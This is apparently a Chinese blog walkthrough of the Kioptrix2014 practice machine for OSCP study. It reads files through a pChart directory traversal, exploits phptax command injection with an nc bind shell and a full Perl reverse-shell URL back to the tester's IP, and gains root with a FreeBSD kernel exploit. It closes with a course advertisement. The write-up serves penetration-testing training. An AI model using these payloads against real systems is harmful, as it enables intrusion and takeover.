oscp备战系列-Kioptrix2014

文章目录

一、信息收集

  1. 主机探测

    nmap 192.168.30.0/24 -sP

  1. 端口及版本探测

    nmap 192.168.30.199 -sV

可以看到开放了80,8080端口,采用apache 2.2.21 mod_ssl2.2.21 openssl0.9.8q WebDAV2 php5.3.8

OS: FreeBSD,22端口关闭的

  1. 指纹探测

    whatweb -v 192.168.30.199

从summary可以看出跟我们端口服务探测的结果差不多,唯一关注的是重定向路径pChart2.1.3/index.php

有两个重定向路径的指纹探测报告,分别是

复制代码
http://192.168.30.199/pChart2.1.3/index.php
http://192.168.30.199/pChart2.1.3/examples/index.php
  1. 目录扫描

    dirb http://192.168.30.199 -N 403
    sudo dirsearch -u 192.168.30.199 -x 403

没有扫出什么目录和文件,但是我们已知有一条重定向路径指向目录pChart2.1.3,所以我们扫描一下该目录

复制代码
sudo dirsearch -u http://192.168.30.199/pChart2.1.3

查看扫描出来的文件,主要关注的是readme.txt,拥有一些关于pChart信息,包括版本信息,作者 ,以及相关文件结构

  1. Web页面信息

80端口仅有一个It works

8080端口显示forbidden

重定向页面

拥有一些图表

从上述收集的信息来看没有什么价值的,好像只能通过指纹探测获取的信息来查看是否有历史漏洞

二、漏洞探测

  1. pChart

使用searchsploit探测pChart的漏洞

复制代码
searchsploit pChart

搜索出来一个,并且刚好符合版本,根据exp标题是多个漏洞,描述在了31173.txt里,复制31173.txt到当前目录

复制代码
searchsploit 31173 -m

查看漏洞描述

复制代码
cat  31173.txt

可以看到漏洞标题为目录穿越和反射型xss,我们可以关注一下目录遍历,已经给我们例子了,穿越读取了 /etc/passwd,观察路径/examples/index.php刚好就是我们重定向的路径,直接复制payload访问

可以看到成功读取,可以发现到FreeBSD的版本信息9.0.0,以及一些用户数据(应该用不上,ssh关闭了)

查看apache的配置文件

路径:/usr/local/etc/apache2x/httpd.conf x代表版本号,我们apache版本是2.2.21,所以看apache22

复制代码
http://x.x.x.x/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

SetEnvIf指令根据客户端的请求属性设置环境变量

也就是说客户端访问8080端口需要以红框标的user-agent去访问,我们可以通过抓包改包实现

原本我这里是5.0,改成4.0放包即可

成功访问,有一个phptax,同样要改变user-agent访问

第二个数据包也要改为4.0,其中请求的路径/phptax/drawimage.php

成功访问

  1. FreeBSD

查看FreeBSD 9.0版本是否存在漏洞

复制代码
searchsploit freebsd 9.0

有存在漏洞及利用脚本,但是两个都是涉及权限提升,可以后续获取shell之后使用

  1. mod_ssl

查看mod_ssl的漏洞

复制代码
searchsploit mod_ssl  2.2

我们前面探测到的mod_ssl是2.2.21 < 2.8.7,可以尝试进行利用,我们选择47080.c脚本进行利用,在Kioptrix level 1 里有用到过,但是运行发现没有符合freebsd apache2.2.21版本

  1. phptax

查看一下phptax漏洞

复制代码
searchsploit phptax

有两个远程代码执行漏洞,复制查看25849.txt看看

复制代码
searchsploit 25849 -m
cat 25849.txt

可以看到exp对应路径是index.php,但我们刚才所在路径为/phptax/drawimage.php

查看另外一个21665.txt看看

可以看到符合我们刚才所在的路径,并且还有一个利用payload,貌似是配合nc正向shell

payload解读出来

复制代码
nc -l -v -p 23235 -e /bin/bash;        //在23235端口启用正向shell
;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

三、漏洞利用

  1. 反弹shell

我们先在kali启一个nc监听

复制代码
nc 192.168.30.199 23235

然后打进payload

试了几次都没有回连,应该是目标靶机没有nc,那按照这个思路尝试其他的反弹shell

kali监听

复制代码
nc -lvp 4444

然后尝试不同反弹shell payload,这里为了方便,使用hackbar,最终反弹shell成功,使用的perl命令,命令如下:

复制代码
http://192.168.30.199:8080/phptax/drawimage.php?pfilez=1040pg1.tob;perl -e 'use Socket;$i="192.168.30.176";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';&pdf=make

payload需要进行url编码,如下图:

成功反弹


四、后渗透

  1. 收集信息

操作系统为freebsd 9.0 和我们刚才已知一样,用户为www,权限不高,有nc,没python,但是刚才nc正向shell没弹,不知道啥原因

  1. 提升权限

刚才我们有查询到 freebsd 的提权脚本

分别是28718.c和26368.c,尝试一下内核提权脚本28718.c,将其复制到当前目录然后尝试编译一下

报错没有cpufunc.h头文件,先将c文件传到目标靶机,由目标靶机编译试试,刚才注意到有nc,可以用nc传文件

复制代码
靶机: nc -v -l 8888 > 28718.c
kali: nc 192.168.30.199 8888 < 28718.c

但是好像传输失败了,原因是目标靶机端口未放通,我还尝试了80和8080也是失败

查询资料发现可以使用fetch传输

先在kali起一个python服务

然后靶机fetch接收

编译执行,报错

尝试另外一个脚本26368.c

成功提权


近期泷羽推出oscp培训,价格实惠,只需要4000,学生还可以优惠500,可以分期,培训六个月,提供官方教材,以及带着刷众多靶机(大约200多台),每天都有直播教学,以及录播,有想考oscp证书意向的师傅可以私信我,也可以扫描海报二维码进行咨询

文章原创,欢迎转载,请注明文章出处

相关推荐
梦境虽美,却不长2 分钟前
C语言 学习 文件操作(开关,读写,定位,大小)操作 2025年6月8日12:19:24
c语言·开发语言·学习
yifa2016040411 分钟前
STM32、Arduino和51单片机
stm32·学习·51单片机
nenchoumi31193 小时前
UE5 学习系列(五)导入贴图资产
学习·游戏·ue5·机器人
bug总结3 小时前
记录下three.js学习过程中不理解问题----材质(material)⑤
学习·材质
Y3174294 小时前
Python Day50 学习(仍为日志Day19的内容复习)
python·学习·机器学习
ThreeYear_s11 小时前
基于FPGA的PID算法学习———实现P比例控制算法
学习·fpga开发
恰薯条的屑海鸥11 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十一期-目录遍历模块)
学习·安全·web安全·渗透测试·网络安全学习
nenchoumi311912 小时前
Swift 6 学习笔记(二)The Basics
笔记·学习·swift
凡人的AI工具箱13 小时前
PyTorch深度学习框架60天进阶学习计划-第57天:因果推理模型(二)- 高级算法与深度学习融合
人工智能·pytorch·深度学习·学习·mcp·a2a
Gsen281914 小时前
AI大模型从0到1记录学习 大模型技术之机器学习 day27-day60
人工智能·学习·机器学习